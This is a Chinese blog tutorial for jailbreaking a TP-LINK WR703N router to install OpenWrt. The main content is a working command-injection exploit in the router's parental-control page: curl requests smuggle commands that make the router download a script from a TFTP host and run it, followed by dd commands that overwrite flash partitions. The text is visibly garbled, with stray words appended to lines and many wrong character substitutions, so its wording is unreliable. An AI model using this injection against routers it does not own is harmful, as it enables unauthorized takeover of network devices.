2017年度全网原创IT博主评选活动投票:http://www.itbang.me/goVote/254linux
TP-LINK TL-WR703N是一个小型的路由器,能够有线转WiFi,3G转WiFi,不少人拿它刷openwrt系统,而后能够在上面各类搞事。git
一般刷openwrt的作法是,github
然而!上面的方法只有在2012年12月之前生产的WR703N上(型号在FW build 121204之前的)才有用,在以后的板子上,选择完bin文件会提示“上传的文件与硬件版本不符”,致使没法从web管理界面刷写系统!具体来说,若是你的型号(这个在路由器管理界面能够看到)跟个人同样是3.17.1 Build 140120 Rel.56593n,那么恭喜你中奖了,只能经过下面这种方式或者TTL硬件方式刷openwrt。web
缘由是,2012年12月以后的系统升级,对bin文件作了RSA签名校验,没法刷第三方的系统。shell
一番搜索以后发现有个国外的牛人利用TP-LINK家长控制的漏洞,让路由板执行一些代码,成功刷写openwrt系统,这个方法的英文版也被放到了openwrt wr703n的官方wiki上,能够说是至关靠谱了,国内有人也整理了一个中文版,但有些步骤仍是不够详细,因而我整理了一个完整的版出来,让你们少踩一些坑。windows的同窗能够参考这个中文版,不过里边有些连接失效了,能够参考我这篇去找对应的工具。windows
由于咱们会先把镜像下载并处理好放在一个ftp服务器上,因此须要另外一台电脑扮演这个角色浏览器
/private/tftpboot
这个目录做为根目录sudo chmod 777 /private/tftpboot sudo chmod 777 /private/tftpboot/*
sudo launchctl load -F /System/Library/LaunchDaemons/tftp.plist sudo launchctl start com.apple.tftpd
cwh@cwh-Matrimax-PC:sudo apt-get install tftp cwh@cwh-Matrimax-PC:~$ tftp (to) 192.168.2.210 tftp> get aa
把Ubuntu和mac放在一个局域网里,mac的ip是192.168.2.210,在mac的/private/tftpboot
目录下有一个名为aa的文件,执行get aa
以后,会发现Ubuntu的home目录下多了一个aa文件,也就是文件传送成功了。服务器
curl https://busybox.net/downloads/binaries/1.21.1/busybox-mips > busybox
连接有可能失效,能够谷歌搜索busybox binary download,下载mips版本的app
curl https://downloads.openwrt.org/snapshots/trunk/ar71xx/generic/openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin -o openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i1 bs=1 count=1048576 dd if=openwrt-ar71xx-generic-tl-wr703n-v1-squashfs-factory.bin of=i2 bs=1 skip=1048576
/private/tfboot
下cd /tmp tftp -gl i1 192.168.1.100 tftp -gl i2 192.168.1.100 tftp -gl busybox 192.168.1.100 chmod 755 busybox ./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync ./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync reboot -f
解释一下每行代码curl
cd /tmp tftp -gl i1 192.168.1.100 # 把i1从tftp服务器下载下来,这里的ip应该是,你的tftp服务器链接路由器以后,ifconfig看到的ip tftp -gl i2 192.168.1.100 # 把i2从tftp服务器下载下来 tftp -gl busybox 192.168.1.100 # 把busybox从tftp服务器下载下来 chmod 755 busybox # 修改busybox权限以执行命令 ./busybox dd if=i1 of=/dev/mtdblock1 conv=fsync # 将i1写入磁盘分区 ./busybox dd if=i2 of=/dev/mtdblock2 conv=fsync # 将i2写入磁盘分区 reboot -f # 重启,会启动openwrt
至此,你的tftp目录下应该有4个文件:i1, i2, aa, busybox,缺一不可
这个方法是利用TPLINK家长控制漏洞,以curl的方式执行命令,让路由器从tftp服务器上下载脚本,执行命令,从而将openwrt固件写入路由器
【警告】如下步骤可能致使你的路由器变砖,请确认当前的路由器固件版本是3.17.1 Build 140120. 下述全过程请勿断开链接或是断开电源,本人不对产生的任何后果负责!另外,每一步都很重要,别忽略其中任何一步。一旦变砖,请用3.3V的串口线抢救
在tftp服务器上(链接到路由器的另一台机器也行)执行
修改密码为admin42
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=true' 'http://192.168.1.1/'
注意这里的192.168.1.1是路由器的ip地址, 这个步骤只会更改路由器家长控制的默认密码,刷完openwrt以后会恢复为openwrt的默认密码的
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?ctrl_enable=1&parent_mac_addr=00-00-00-00-00-02&Page=1'
curl -o - -b 'tLargeScreenP=1; subType=pcSub; Authorization=Basic%20YWRtaW46YWRtaW40Mg%3D%3D; ChgPwdSubTag=' --referer 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?Modify=0&Page=1' 'http://192.168.1.1/userRpm/ParentCtrlRpm.htm?child_mac=00-00-00-00-00-01&lan_lists=888&url_comment=test&url_0=;cd%20/tmp;&url_1=;tftp%20-gl%20aa%20192.168.1.100;&url_2=;sh%20aa;&url_3=&url_4=&url_5=&url_6=&url_7=&scheds_lists=255&enable=1&Changed=1&SelIndex=0&Page=1&rule_mode=0&Save=%B1%A3+%B4%E6'
等待大约三分钟,路由器会重启进入openwrt系统,状态灯会闪烁一下子
后边能够参考这位大兄弟写的教程,挺详细的了